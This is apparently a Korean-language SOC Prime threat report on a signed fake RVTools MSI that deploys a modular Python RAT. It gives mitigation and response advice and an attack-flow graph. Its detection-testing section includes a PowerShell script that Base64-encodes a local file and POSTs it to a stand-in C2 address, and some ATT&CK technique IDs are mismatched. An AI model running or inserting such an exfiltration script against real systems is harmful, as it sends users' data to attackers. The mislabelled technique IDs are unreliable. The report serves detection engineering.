SOC Prime Bias: 중간

29 May 2026 07:20 UTC

RVTools 위장: 서명된 가짜 설치 프로그램이 모듈식 파이썬 RAT를 배포하는 방법

Author Photo
SOC Prime Team linkedin icon 팔로우
RVTools 위장: 서명된 가짜 설치 프로그램이 모듈식 파이썬 RAT를 배포하는 방법
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

정상적인 인증서로 서명된 악성 MSI 설치 프로그램이 VMware 관리자가 사용하는 RVTools 유틸리티로 가장합니다. 실행되면 설치 프로그램은 Dropbox에서 대용량 ZIP 아카이브를 다운로드하기 위해 PowerShell을 실행하는 VBScript를 내리게 됩니다. 해당 아카이브에는 정찰, 지속성, 하드코딩된 명령 및 제어 서버와의 통신이 가능한 다단계 RAT를 실행하는 포터블 파이썬 환경이 포함되어 있습니다.

조사

분석 결과, MSI는 사용자 정의 VBScript 동작으로 추적되었으며, Binary.MyScript.vbs, 이는 난독화된 PowerShell 명령을 디코딩했습니다. 해당 명령은 winp.zip 페이로드를 %APPDATA%에 다운로드하고, collector.py and Pmanager.py와 같은 Python 구성 요소 및 스크립트를 추출하며, 재부팅 후 레지스트리 Run 키와 예약 작업을 통해 지속성을 확보했습니다. 연구자들은 또한 RAT가 수집된 데이터를 RC4로 암호화하고 5분 간격으로 다섯 개의 고정된 IP 주소로 비콘을 전송했다는 것을 발견했습니다.

완화

조직은 라이브 OCSP 또는 CRL 체크로 엄격한 코드 서명 검증을 시행하고, 신뢰할 수 없는 MSI 실행을 차단하며, 설치 프로그램에 포함된 의심스러운 VBScript 사용자 정의 동작을 모니터링해야 합니다. 방어자는 다운로드된 스크립트의 자동 실행을 방지하고, 새로운 Run 키 항목 및 예약 작업 생성을 주시하며, 낯선 하드코딩된 IP 주소로 향하는 아웃바운드 트래픽에서 경고를 발생시켜야 합니다.

대응

이 활동이 감지되면 즉시 영향을 받은 엔드포인트를 격리하고, MSI, VBScript 및 추출된 페이로드 파일을 법의학 분석을 위해 수집한 다음, Run 키 및 예약 작업을 포함한 모든 지속성 아티팩트를 삭제합니다. 식별된 명령제어 IP 주소는 방화벽에서 차단되어야 하며, 인증 정보 및 Active Directory 활동에 대한 광범위한 검토를 수행하여 횡적 이동이 발생했는지 확인해야 합니다.

graph TB %% Class definitions classDef phase fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef artifact fill:#e0e0e0 classDef persistence fill:#c2f0c2 classDef c2 fill:#f9c2c2 classDef evasion fill:#f0e68c %% Phases phase_initial_access[“<b>단계</b>: 초기 접근<br/><b>행위</b> – 피해자가 RVTools로 위장된 서명된 악성 MSI 파일을 실행함.”] class phase_initial_access phase phase_execution[“<b>단계</b>: 실행<br/><b>행위</b> – MSI는 Msiexec를 사용하여 VBScript를 실행하고 숨겨진 PowerShell 다운로드를 시작함.”] class phase_execution phase phase_payload[“<b>단계</b>: 페이로드 배포<br/><b>행위</b> – 아카이브가 WinPython 포터블 환경으로 압축 해제되며 collector.py 및 manager.py 포함.”] class phase_payload phase phase_persistence[“<b>단계</b>: 지속성<br/><b>행위</b> – Python manager가 레지스트리 Run 키, 예약 작업, Active Setup 항목을 생성함.”] class phase_persistence phase phase_c2[“<b>단계</b>: C2 (명령 및 제어)<br/><b>행위</b> – 수집된 데이터는 아카이브되고 RC4로 암호화된 뒤 HTTP POST로 하드코딩된 IP로 전송됨.”] class phase_c2 phase phase_evasion[“<b>단계</b>: 방어 회피<br/><b>행위</b> – 서명된 바이너리, 프록시 실행, 문자 난독화를 사용하여 탐지를 회피함.”] class phase_evasion phase %% Techniques for Initial Access tech_user_execution[“<b>기법</b> T1204.002 사용자 실행: 악성 파일<br/>사용자가 정상 파일로 믿고 실행함.”] class tech_user_execution technique tech_masquerading[“<b>기법</b> T1036.001 위장 (Masquerading)<br/>바이너리는 서명되어 있고 RVTools처럼 위장됨.”] class tech_masquerading technique tech_trusted_dev_proxy[“<b>기법</b> T1127 신뢰된 개발자 도구 프록시 실행<br/>서명된 바이너리를 이용해 신뢰 검사를 우회함.”] class tech_trusted_dev_proxy technique %% Techniques for Execution tech_msiexec_proxy[“<b>기법</b> T1218.007 시스템 바이너리 프록시 실행: Msiexec<br/>Msiexec가 악성 MSI를 실행함.”] class tech_msiexec_proxy technique tech_vbscript[“<b>기법</b> T1059.005 스크립트 인터프리터: VBScript<br/>VBScript가 숨겨진 페이로드를 실행함.”] class tech_vbscript technique tech_powershell[“<b>기법</b> T1059.001 스크립트 인터프리터: PowerShell<br/>VBScript가 숨겨진 PowerShell 다운로더를 실행함.”] class tech_powershell technique %% Techniques for Payload Deployment tech_archive_custom[“<b>기법</b> T1560.003 수집 데이터 압축: 사용자 정의 방식<br/>33MB winp.zip이 다운로드되어 WinPython 환경으로 압축 해제됨.”] class tech_archive_custom technique %% Techniques for Persistence tech_registry_run[“<b>기법</b> T1037.004 시작/로그온 실행: 레지스트리 Run 키<br/>시작 시 manager.py 실행을 위해 Run 키 생성됨.”] class tech_registry_run persistence tech_scheduled_task[“<b>기법</b> T1053 예약 작업<br/>SYSTEM 권한으로 실행되는 일일 작업 생성됨.”] class tech_scheduled_task persistence tech_active_setup[“<b>기법</b> T1547.014 Active Setup 자동 실행<br/>모든 사용자에 대해 Active Setup 항목 추가됨.”] class tech_active_setup persistence tech_hijack_execution[“<b>기법</b> T1574 실행 흐름 하이재킹<br/>예약 작업이 정상 실행 흐름을 탈취함.”] class tech_hijack_execution evasion %% Techniques for Command and Control tech_exfil_unencrypted[“<b>기법</b> T1048.003 비암호화 비-C2 프로토콜을 통한 유출<br/>HTTP POST로 하드코딩 IP에 데이터 전송.”] class tech_exfil_unencrypted c2 tech_exfil_asymmetric[“<b>기법</b> T1048.002 비-C2 암호화 유출<br/>전송 전에 RC4로 데이터 암호화됨.”] class tech_exfil_asymmetric c2 %% Techniques for Defense Evasion tech_system_script_proxy[“<b>기법</b> T1216.002 시스템 스크립트 프록시 실행: SyncAppvPublishingServer<br/>신뢰된 스크립트를 이용해 악성 활동을 숨김.”] class tech_system_script_proxy evasion tech_system_binary_proxy[“<b>기법</b> T1218 시스템 바이너리 프록시 실행<br/>서명된 Windows 도구가 악용됨.”] class tech_system_binary_proxy evasion %% Artifacts artifact_msi[“<b>산출물</b>: malicious_RVTools.msi<br/>초기 접근에 사용된 서명된 MSI 파일.”] class artifact_msi artifact artifact_zip[“<b>산출물</b>: winp.zip<br/>WinPython이 포함된 Dropbox 아카이브.”] class artifact_zip artifact artifact_python_env[“<b>산출물</b>: WinPython 환경<br/>collector.py 및 manager.py 포함.”] class artifact_python_env artifact artifact_registry_key[“<b>산출물</b>: 레지스트리 Run 키<br/>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WinPythonMgr”] class artifact_registry_key artifact artifact_scheduled_task[“<b>산출물</b>: 예약 작업<br/>SYSTEM 권한으로 실행되는 WinPythonDaily.”] class artifact_scheduled_task artifact artifact_active_setup[“<b>산출물</b>: Active Setup 항목<br/>WinPython 자동 실행 구성.”] class artifact_active_setup artifact artifact_c2_ip[“<b>산출물</b>: C2 IP 주소<br/>HTTP로 접속되는 하드코딩 IPv4 주소.”] class artifact_c2_ip artifact %% Connections phase_initial_access –>|사용| tech_user_execution phase_initial_access –>|사용| tech_masquerading phase_initial_access –>|사용| tech_trusted_dev_proxy phase_initial_access –>|전달| artifact_msi tech_user_execution –>|실행| artifact_msi tech_masquerading –>|활성화| artifact_msi tech_trusted_dev_proxy –>|우회| artifact_msi phase_execution –>|사용| tech_msiexec_proxy tech_msiexec_proxy –>|실행| tech_vbscript tech_vbscript –>|시작| tech_powershell tech_powershell –>|다운로드| artifact_zip artifact_zip –>|압축 해제| artifact_python_env phase_payload –>|포함| artifact_python_env phase_persistence –>|생성| tech_registry_run phase_persistence –>|생성| tech_scheduled_task phase_persistence –>|생성| tech_active_setup phase_persistence –>|사용| tech_hijack_execution tech_registry_run –>|작성| artifact_registry_key tech_scheduled_task –>|생성| artifact_scheduled_task tech_active_setup –>|작성| artifact_active_setup phase_c2 –>|압축 및 암호화| tech_archive_custom tech_archive_custom –>|전송| tech_exfil_unencrypted tech_exfil_unencrypted –>|사용| artifact_c2_ip tech_exfil_unencrypted –>|추가 사용| tech_exfil_asymmetric phase_evasion –>|적용| tech_system_script_proxy phase_evasion –>|적용| tech_system_binary_proxy tech_system_binary_proxy –>|지원| tech_msiexec_proxy tech_system_script_proxy –>|지원| tech_vbscript

공격 흐름

시뮬레이션 실행

필수 요구 사항: 원격 측정 및 기준선 사전 점검이 통과되어야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적의 기술(TTP)에 대한 정확한 실행을 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영해야 하며, 탐지 논리에 의해 예상되는 정확한 원격 측정을 생성하는 것을 목표로 합니다.

  • 공격 내러티브 및 명령:
    피해자의 시스템에 이미 발판을 마련한 적대자는 소형 데이터 세트(예: C:Tempsecret.txt)를 유출하기로 결정합니다. 일반적인 아웃바운드 트래픽 경고를 피하기 위해, 행위자는 PowerShell 한 줄 요약을 사용하여 하드코드된 C2 IP 중 하나에 직접 HTTP POST를 수행합니다 (192.0.2.10). 해당 명령은 Windows 예약 작업 을 통해 예약되어 지속성을 보장합니다(T1546.013). 추가로 설치되는 바이너리는 없으며, 활동은 ‘행동을 녹아들도록’ 합니다.

  • 회귀 테스트 스크립트:

    # -------------------------------------------------
    # PowerShell 스크립트 – 하드코드된 IP를 통한 데이터 유출
    # -------------------------------------------------
    $c2Ip   = "192.0.2.10"
    $c2Port = 80
    $uri    = "http://$c2Ip/exfil"
    $file   = "C:Tempsecret.txt"
    
    # 파일이 존재하는지 확인(테스트를 위한 더미 데이터 생성)
    if (-Not (Test-Path $file)) {
        "민감 데이터 $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII
    }
    
    # 파일 내용을 읽고 Base64로 인코딩
    $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file))
    
    # HTTP POST 수행
    $body = @{ data = $payload }
    try {
        Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10
        Write-Host "유출 시도 $c2Ip로 전송됨"
    } catch {
        Write-Error "유출 실패: $_"
    }
  • 정리 명령:

    # 더미 파일 삭제
    Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue
    
    # 테스트를 위해 생성된 예약 작업 삭제(있는 경우)
    $taskName = "DataExfilTask"
    if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
    }